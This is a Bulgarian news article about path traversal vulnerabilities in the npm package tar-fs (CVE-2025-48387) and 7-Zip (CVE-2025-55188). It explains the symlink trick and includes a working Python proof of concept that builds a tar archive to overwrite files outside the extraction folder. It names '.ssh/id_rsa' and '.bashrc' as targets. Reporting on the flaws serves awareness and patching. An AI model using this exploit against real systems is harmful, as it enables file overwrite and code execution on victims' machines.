Уязвимости Π² tar-fs ΠΈ 7-Zip, позволяващи записванС Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ извън основната дирСктория

Π’ NPM ΠΏΠ°ΠΊΠ΅Ρ‚Π° tar-fs Π±Π΅ ΠΎΡ‚ΠΊΡ€ΠΈΡ‚ΠΎ уязвимост (CVE-2025-48387), която позволява ΠΏΡ€ΠΈ Ρ€Π°Π·Π°Ρ€Ρ…ΠΈΠ²ΠΈΡ€Π°Π½Π΅ Π½Π° спСциално ΠΎΡ„ΠΎΡ€ΠΌΠ΅Π½ tar Π°Ρ€Ρ…ΠΈΠ² Π΄Π° сС Π·Π°ΠΏΠΈΡˆΠ°Ρ‚ Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ Π² ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»Π½ΠΈ части Π½Π° Π€Π‘, Π±Π΅Π· Π΄Π° Π΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΎ Π΄ΠΎ дирСкторията, Π² която сС ΠΈΠ·Π²ΡŠΡ€ΡˆΠ²Π° Ρ€Π°Π·Π°Ρ€Ρ…ΠΈΠ²ΠΈΡ€Π°Π½Π΅Ρ‚ΠΎ (Π² Π³Ρ€Π°Π½ΠΈΡ†ΠΈΡ‚Π΅ Π½Π° ΠΏΡ€Π°Π²Π°Ρ‚Π° Π·Π° Π΄ΠΎΡΡ‚ΡŠΠΏ Π½Π° тСкущия ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»). Уязвимостта ΠΌΠΎΠΆΠ΅ ΡΡŠΡ‰ΠΎ Π΄Π° сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π·Π° прСзаписванС Π½Π° ΡΡŠΡ‰Π΅ΡΡ‚Π²ΡƒΠ²Π°Ρ‰ΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π·Π° ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΈΡ€Π°Π½Π΅ Π½Π° изпълнСниС Π½Π° собствСн ΠΊΠΎΠ΄ Π² систСмата, ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° Π±ΡŠΠ΄Π°Ρ‚ прСзаписани Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅Ρ‚Π΅ β€ž.ssh/id_rsaβ€œ ΠΈΠ»ΠΈ β€ž.bashrcβ€œ Π² Π΄ΠΎΠΌΠ°ΡˆΠ½Π°Ρ‚Π° дирСктория Π½Π° потрСбитСля.

На уязвимостта Π΅ присвоСн ΠΊΡ€ΠΈΡ‚ΠΈΡ‡Π΅Π½ Π½ΠΈΠ²ΠΎ Π½Π° опасност, ΠΊΠ°Ρ‚ΠΎ сС ΠΈΠΌΠ° ΠΏΡ€Π΅Π΄Π²ΠΈΠ΄, Ρ‡Π΅ ΠΏΠ°ΠΊΠ΅Ρ‚ΡŠΡ‚ tar-fs ΠΈΠΌΠ° 23 ΠΌΠΈΠ»ΠΈΠΎΠ½Π° изтСгляния Π½Π° сСдмица ΠΈ сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΊΠ°Ρ‚ΠΎ зависимост Π² 1155 ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°. Уязвимостта Π΅ отстранСна Π² вСрсиитС 3.0.9, 2.1.3 ΠΈ 1.16.5, ΠΊΠΎΠΈΡ‚ΠΎ бяха пуснати ΠΏΡ€Π΅Π· ΠΌΠ°ΠΉ, Π½ΠΎ информацията Π·Π° уязвимостта бСшС Ρ€Π°Π·ΠΊΡ€ΠΈΡ‚Π° Π΅Π΄Π²Π° слСд ΠΏΠΎΡ‡Ρ‚ΠΈ 3 мСсСца.

Уязвимостта Π΅ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅Π½Π° ΠΎΡ‚ Π½Π΅Π΄ΠΎΡΡ‚Π°Ρ‚ΡŠΡ‡Π½ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π½Π° Π½Π°Π»ΠΈΡ‡Π½ΠΈΡ‚Π΅ Π² Π°Ρ€Ρ…ΠΈΠ²Π° символични ΠΈ Ρ‚Π²ΡŠΡ€Π΄ΠΈ Π»ΠΈΠ½ΠΊΠΎΠ²Π΅ относно тСхния ΠΈΠ·Ρ…ΠΎΠ΄ извън Ρ†Π΅Π»Π΅Π²Π°Ρ‚Π° дирСктория Π·Π° Ρ€Π°Π·Π°Ρ€Ρ…ΠΈΠ²ΠΈΡ€Π°Π½Π΅. Π—Π° заобикалянС Π½Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈΡ‚Π΅ сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π΄Π²Π΅ символични Π»ΠΈΠ½ΠΊΠΎΠ²Π΅: ΠΏΡŠΡ€Π²ΠΈΡΡ‚ ΡƒΠΊΠ°Π·Π²Π° Π½Π° ΠΊΠΎΡ€Π΅Π½ΠΎΠ²Π°Ρ‚Π° дирСктория Π½Π° Ρ€Π°Π·Π°Ρ€Ρ…ΠΈΠ²ΠΈΡ€Π°Π½Π΅ Π½Π° Π°Ρ€Ρ…ΠΈΠ²Π° (β€ž.β€œ), Π° вторият Π΅ създадСн относно ΠΏΡŠΡ€Π²ΠΈΡ символичСн Π»ΠΈΠ½ΠΊ ΠΈ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π² ΠΈΠΌΠ΅Ρ‚ΠΎ си символитС β€ž../β€œ Π·Π° ΠΈΠ·Π»ΠΈΠ·Π°Π½Π΅ извън основната дирСктория. НапримСр, ΠΏΡŠΡ€Π²ΠΈΡΡ‚ Π»ΠΈΠ½ΠΊ β€žnoop/noop/noopβ€œ ΡƒΠΊΠ°Π·Π²Π° Π½Π° β€ž.β€œ, Π° вторият β€žnoop/noop/noop/../../../../β€œ сС Ρ€Π°Π·ΠΊΡ€ΠΈΠ²Π° ΠΊΠ°Ρ‚ΠΎ β€ž./../../../../β€œ. Π—Π° ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΈΡ€Π°Π½Π΅ Π½Π° прСзаписванС Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ Π² Π°Ρ€Ρ…ΠΈΠ²Π° ΠΌΠΎΠΆΠ΅ Π΄Π° бъдС създадСн Ρ‚Π²ΡŠΡ€Π΄ Π»ΠΈΠ½ΠΊ, ΠΊΠΎΠΉΡ‚ΠΎ сочи към външСн Ρ„Π°ΠΉΠ» относно втория символичСн Π»ΠΈΠ½ΠΊ. import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))

Подобна уязвимост (CVE-2025-55188) Π΅ установСна Π² Π°Ρ€Ρ…ΠΈΠ²Π°Ρ‚ΠΎΡ€Π° 7-Zip. Π—Π° запис Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ извън основната дирСктория Π² 7-Zip ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ символични Π»ΠΈΠ½ΠΊΠΎΠ²Π΅, ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Ρ‰ΠΈ послСдоватСлност β€ž..\/β€œ Π² файловия ΠΏΡŠΡ‚. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ ΠΌΠΎΠΆΠ΅ Π΄Π° бъдС Сксплоатиран ΠΏΡ€ΠΈ Ρ€Π°Π·Π°Ρ€Ρ…ΠΈΠ²ΠΈΡ€Π°Π½Π΅ Ρ‡Ρ€Π΅Π· 7-Zip Π½Π° всякакви Π°Ρ€Ρ…ΠΈΠ²ΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ ΠΏΠΎΠ΄Π΄ΡŠΡ€ΠΆΠ°Ρ‚ символични Π»ΠΈΠ½ΠΊΠΎΠ²Π΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ zip, tar, 7z ΠΈ rar. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ Π΅ отстранСн Π² вСрсия 7-Zip 25.01.

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru

ΠšΡƒΠΏΠ΅Ρ‚Π΅ Π½Π°Π΄Π΅ΠΆΠ΄Π΅Π½ хостинг Π·Π° сайтовС със Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ DDoS, VPS ΠΈ VDS ΡΡŠΡ€Π²ΡŠΡ€ΠΈ πŸ”₯ ΠšΡƒΠΏΠ΅Ρ‚Π΅ Π½Π°Π΄Π΅ΠΆΠ΄Π΅Π½ хостинг Π·Π° сайтовС със Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ DDoS, VPS ΠΈ VDS ΡΡŠΡ€Π²ΡŠΡ€ΠΈ | ProHoster